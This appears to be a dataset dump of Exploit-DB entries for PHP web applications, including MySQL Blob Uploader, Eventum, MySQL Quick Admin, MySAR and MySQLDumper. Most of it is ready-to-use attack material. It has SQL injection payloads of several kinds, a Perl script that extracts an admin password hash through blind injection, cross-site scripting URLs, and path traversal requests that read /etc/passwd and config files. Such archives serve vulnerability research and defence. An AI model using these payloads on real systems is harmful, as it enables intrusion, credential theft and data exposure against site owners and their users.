deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44709
Description: MySQL Blob Uploader 1.7 - 'download.php' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: MySQL Blob Uploader 1.7 - 'download.php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Version: 1.7 - seventh update
# Category: Webapps
# Tested on: Kali linux
====================================================

# PoC : SQLi :

Parameter : id

Type : boolean-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44' AND 4775=4775 AND 'yvnT'='yvnT&t=files

Type : error-based
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44' AND (SELECT 7995 FROM(SELECT
COUNT(*),CONCAT(0x71766b7071,(SELECT
(ELT(7995=7995,1))),0x71786b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'VOHb'='VOHb&t=files

Type : AND/OR time-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44' AND SLEEP(5) AND 'GnhY'='GnhY&t=files

Type : UNION query
Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
Payload : id=-9508' UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x71766b7071,0x6267544b[PII_REDACTED][PII_REDACTED]77526b47544d477553476d[PII_REDACTED]52546e4a456b586c726d,0x71786b7671),NULL--
wxis&t=files



Parameter : t

Type : boolean-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44&t=files` WHERE 6575=6575 AND 6608=6608#

Type : error-based
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44&t=files` WHERE 5293=5293 AND (SELECT 1625 FROM(SELECT
COUNT(*),CONCAT(0x71766b7071,(SELECT
(ELT(1625=1625,1))),0x71786b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- OpVv

Type : AND/OR time-based blind
Demo :
http://test.com/MySqlBlobUploader/download.php?id=44&t=files
Payload : id=44&t=files` WHERE 6736=6736 AND (SELECT * FROM
(SELECT(SLEEP(5)))GjCP)-- UaZE

====================================================

# PoC : XSS :

Payload(1) :
http://test.com/MySqlBlobUploader/download.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98;&t=files

Payload(2) :
http://test.com/MySqlBlobUploader/download.php?id=44&t=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98
;
Exploit-DB #44710
Description: MySQL Blob Uploader 1.7 - 'home-file-edit.php' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: MySQL Blob Uploader 1.7 - 'home-file-edit.php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Version: 1.7 - seventh update
# Category: Webapps
# Tested on: Kali linux
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=42' AND 5445=5445 AND 'xkCg'='xkCg

     Type : error-based
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=42' AND (SELECT 8740 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(8740=8740,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xWJA'='xWJA

     Type : AND/OR time-based blind
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=42' AND SLEEP(5) AND 'eOfO'='eOfO

     Type : UNION query
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=-4824' UNION ALL SELECT
CONCAT(0x[PII_REDACTED],0x4e4448494b6a[PII_REDACTED]704c5a[PII_REDACTED]4c6f6b44554a7863754d[PII_REDACTED]4c664a634274,0x717a6b7171),NULL,NULL,NULL,NULL,NULL--
aTGd


====================================================

# PoC : XSS :

  Payload :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98;&t=files
Exploit-DB #44712
Description: MySQL Blob Uploader 1.7 - 'home-filet-edit.php' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: MySQL Blob Uploader 1.7 - 'home-filet-edit.php' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Version: 1.7 - seventh update
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: id
# Type: boolean-based blind
# Demo: http://Target/MySqlBlobUploader/home-filet-edit.php?id=7
# Payload: 

id=7' AND 3132=3132 AND 'erLO'='erLO

# Type: error-based
# Demo: http://Target/MySqlBlobUploader/home-filet-edit.php?id=7
# Payload: 

id=7' AND (SELECT 6373 FROM(SELECT
COUNT(*),CONCAT(0x71717a6b71,(SELECT
(ELT(6373=6373,1))),0x716b706a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'JvQj'='JvQj

# Type: AND/OR time-based blind
# Demo: http://Target/MySqlBlobUploader/home-filet-edit.php?id=7
# Payload: 

id=7' AND SLEEP(5) AND 'MvuE'='MvuE

# Type: UNION query
# Demo: http://Target/MySqlBlobUploader/home-filet-edit.php?id=7
# Payload: 

id=-3399' UNION ALL SELECT
CONCAT(0x71717a6b71,0x6d54504e42544e4b6e6b7a6661595a6a73546d6d[PII_REDACTED]615368546a4a4e4e7a6d[PII_REDACTED],0x716b706a71),NULL,NULL,NULL,NULL,NULL,NULL--
EcgK
Exploit-DB #44711
Description: MySQL Blob Uploader 1.7 - 'home-filet-edit.php' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: MySQL Blob Uploader 1.7 - 'home-filet-edit.php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Version: 1.7 - seventh update
# Category: Webapps
# Tested on: Kali linux
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/MySqlBlobUploader/home-filet-edit.php?id=7
  Payload : id=7' AND 3132=3132 AND 'erLO'='erLO

     Type : error-based
     Demo :
http://test.com/MySqlBlobUploader/home-filet-edit.php?id=7
  Payload : id=7' AND (SELECT 6373 FROM(SELECT
COUNT(*),CONCAT(0x71717a6b71,(SELECT
(ELT(6373=6373,1))),0x716b706a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'JvQj'='JvQj

     Type : AND/OR time-based blind
     Demo :
http://test.com/MySqlBlobUploader/home-filet-edit.php?id=7
  Payload : id=7' AND SLEEP(5) AND 'MvuE'='MvuE

     Type : UNION query
     Demo :
http://test.com/MySqlBlobUploader/home-filet-edit.php?id=7
  Payload : id=-3399' UNION ALL SELECT
CONCAT(0x71717a6b71,0x6d54504e42544e4b6e6b7a6661595a6a73546d6d[PII_REDACTED]615368546a4a4e4e7a6d[PII_REDACTED],0x716b706a71),NULL,NULL,NULL,NULL,NULL,NULL--
EcgK


====================================================

# PoC : XSS :

  Payload :
http://test.com/MySqlBlobUploader/home-filet-edit.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98
;
Exploit-DB #1134
Description: MySQL Eventum 1.5.5 - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-05
Author: GulfTech Security

Exploit:
#!/usr/bin/perl -w
use IO::Socket;
use strict;

print "#################################\n";
print "#  MySQL Eventum <= v1.5.5 SQL Injection PoC  #\n";
print "#   James Bercegay // gulftech.org // 7-28-05      #\n";
print "#################################\n";

my $host = 'localhost';
my $path = '/eventum/login.php';
my $user = '2';
my $port = 80;
my $pass = '';

my @char = ('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

print "[*] Trying $host\n";

OUTER: for ( my $i = 1; $i < 33; $i++ ) 
{
INNER: for ( my $j=0; $j < 16; $j++ )
{
my $used = $char[$j];
my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) || die "[!] Unable to connect to $host\n";

my $post = "cat=login&url=&email=%27+UNION+SELECT+%273355d92c04a3332339b767f9278405ff%27+FROM+eventum_user+WHERE+usr_id=$user+AND+MID(usr_password,$i,1)='$used'%2F*&[CREDENTIAL_REDACTED]=Login";
my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n"; 
$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";

print $sock $send;

while ( my $line = <$sock> )
{
if ( $line =~ /(.*)err=7(.*)/is )
{
$pass .= $used;
print "[+] Char $i is $used\n";
last INNER;
} 
#/if
}
#/while

close($sock);
}
#/for INNER

if ( length($pass) < 1 ) 
{
print "[!] Host not vulnerable!";
exit;
}
}
#/for OUTER

print "[+] Pass hash is $pass\n";
exit;

# milw0rm.com [2005-08-05]
Exploit-DB #41267
Description: MySQL File Uploader 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: MySQL Blob Uploader - File Upload to Database PHP Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Demo: http://demos.nelliwinne.net/MySqlFileUpload/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/download.php?id=[SQL]&t=files
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6+from+admin-- -&t=files
# http://localhost/[PATH]/download.php?id=[SQL]&t=images_title
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6,7+from+admin-- -&t=images_title
# Etc....Other files have vulnerabilities ...
# # # # #
Exploit-DB #6641
Description: MySQL Quick Admin 1.5.5 - 'cookie' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-01
Author: JosS

Exploit:
# MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability
# url: http://www.mysqlquickadmin.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: Pepelux :)
#
# *Requirements: magic_quotes_gpc = Off

vuln file: /includes/required.php
vuln code: 

if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
	$_SESSION['language'] = $_COOKIE['language'];
}

....

if(LANG == ""){
	if(!isset($_SESSION['language'])){
		include("lang/english/lang.php");
		$_LANG = "english";
	} else {
		include("lang/".$_SESSION['language']."/lang.php");
		$_LANG = $_SESSION['language'];
	}

... }

LFI (poc): 
1) javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
2) and enters /index.php

Ingenious work :D

# milw0rm.com [2008-10-01]
Exploit-DB #7020
Description: MySQL Quick Admin 1.5.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-06
Author: Vinod Sharma

Exploit:
##################################################################################
#										 #		
#		Author:	Vinod Sharma						 #
#		Email:	vinodsharma.mimit@gmail.com				 #
#		Date:	05th Nov, 2008						 #
#		Note: 	This information is only for educational purpose, author # 
#			will not bear responsibility for any damages. 		 #
##################################################################################


#########################################################################################
#Directory traversal vulnerability in MySQL Quick Admin 1.5.5 				#
#allows remote attackers to read and execute arbitrary files via a .. (dot dot) 	#
#in the lang parameter to actions.php.							#
#											#
#											#
#											#
#Appplication still unpatched								#
#											#
#vulnerable code in actions.php								#
# 											#				
#/* code start										#
#    case 27:										#
#         $do = $_GET['do'];								#
#         if($do == "theme" && file_exists("themes/".$_GET['theme'])){			#
#             setcookie('theme', $_GET['theme'], time()+60*60*24*30);			#
#             $_SESSION['theme'] = $_GET['theme'];					#
#             unset($_SESSION['theme_name']);						#
#         } else if($do == "lang" && file_exists("lang/".$_GET['lang'])){		#
#             setcookie('language', $_GET['lang'], time()+60*60*24*30);			#
#             $_SESSION['language'] = $_GET['lang'];					#
#             unset($_SESSION['lang_name']);						#
#         }										#
#         header("Location: main.php");							#
#											#
#/* code end										#
#											#	
#$_SESSION['language'] is set to the value of the lang parameter without any 		#
#sanitization.										#
#											#
#The actions.php will send this $_SESSION['language'] value to required.php which will 	#
#pass it to include() function without any sanitization. 				#
#											#
#											#
#vulnerable code in required.php							#
#											#
#/* code start 										#
#											#
#line 22 in required.php:  include("lang/".$_SESSION['language']."/lang.php");		#			
#											#
#/* code end										#
#########################################################################################


POC:http://www.example.com/quickadmin/actions.php?act=27&do=lang&lang=../../../../../../../../../../etc/passwd%00


#########################################################################################
#	references:									#
#	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4454			#
#	http://secunia.com/advisories/31820						#
#########################################################################################

# milw0rm.com [2008-11-06]
Exploit-DB #44708
Description: MySQL Smart Reports 1.0 - 'id' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: MySQL Smart Reports 1.0 - SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-smart-reports-online-report-generator-with-existing-data/16836503
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : It is actually a post request sent by the user to update.
                You do not need to use post data. You can injection like
GET method.
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id=1
  Payload : add=true&id=9' RLIKE (SELECT (CASE WHEN (8956=8956) THEN 9 ELSE
0x28 END))-- YVFC

     Type : error-based
     Demo :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id=1
  Payload : add=true&id=9' AND (SELECT 3635 FROM(SELECT
COUNT(*),CONCAT(0x716a6a7671,(SELECT
(ELT(3635=3635,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HEMo

     Type : AND/OR time-based blind
     Demo :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id=1
  Payload : add=true&id=9' AND SLEEP(5)-- mcFO


====================================================
# PoC : XSS :

  Payload :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id='
</script><script>alert(1)</script>‘;
Exploit-DB #20055
Description: MySQL Squid Access Report 2.1.4 - HTML Injection
Type: webapps
Platform: php
Date: 2012-07-23
Author: Daniel Godoy

Exploit:
# Exploit Title: MySQL Squid Access Report 2.1.4 / HTML Injection#
Date: 23/07/2012
# Author: Daniel Godoy
# Author Mail:DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software web: http://sourceforge.net/projects/mysar/
# Tested on: Linux# Dork: MySQL Squid Access Report 2.1.4
# www.chap.cl
# Este Advisory fue reportado por Daniel Godoy, integrante deProject CHAP Security
# be secured /stay secure
# contacto@chap.cl 

[Comment]Greetz: Hernan Jais, Alfonso Cuevas, SPEED, hacklego, Incid3nt,Maximiliano Soler, Pablin77,_tty0,
Login-Root,Knet,Kikito,Duraznit0,InyeXion, ksha, zerial,LinuxFer,Scorp    her0, r0dr1 y demas user de RemoteExecution   
www.remoteexecution.info www.remoteexcution.com.ar   
#RemoteExecution Hacking Group   

[PoC]
find Squid's access.log file path and insert "> Example: ">PWNED!

http://server/mysar/www/?a=administration

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com
Exploit-DB #44483
Description: MySQL Squid Access Report 2.1.4 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-18
Author: Keerati T.

Exploit:
# Exploit Title: MySQL Squid Access Report 2.1.4 Multiple Vulnerabilities
# Date: 14-13-2018
# Software Link: https://sourceforge.net/projects/mysar/
# Exploit Author: Keerati T.
# Version: 2.1.4
# Tested on: Linux

1. Description
SQL injection and Cross site script vulnerabilities are found on ALL
parameter of MySAR.

2. Proof of Concept
FOR EXAMPLE
- SQL injection
http://server/mysar/index.php?a=IPSummary&date=[SQLi]
-XSS
http://server/mysar/index.php?a=IPSummary&date=2018-04-14
"><script>alert(1)</script>

3. Timeline
8-3-2018 - Report on their Github. (
https://github.com/coffnix/mysar-ng/issues/12)
-- 1 month later, no any response from vendor. --
14-4-2018 - Public.
Exploit-DB #28783
Description: MySQLDumper 1.21 - 'sql.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-10
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/20460/info

MySQLDumper is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to execute attacker-supplied script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.2.1 is vulnerable; other versions may also be affected.

http://www.example.com/mysqldumper_path/sql.php?db=[Xss codes]
Exploit-DB #37129
Description: MySQLDumper 1.24.4 - 'filemanagement.php?f' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info
    
MySQLDumper is prone to multiple security vulnerabilities, including:
    
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
    
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
    
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/filemanagement.php?action=dl&f=../../config.php
http://www.example.com/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00
Exploit-DB #37133
Description: MySQLDumper 1.24.4 - 'index.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info
       
MySQLDumper is prone to multiple security vulnerabilities, including:
       
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
       
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
       
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/index.php?page=javascript:alert%28document.cookie%29;
Exploit-DB #37127
Description: MySQLDumper 1.24.4 - 'install.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info
  
MySQLDumper is prone to multiple security vulnerabilities, including:
  
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
  
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
  
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/install.php?phase=8%3Cscript%3Ealert%281%29;%3C/script%3E&language=en&submit=Installation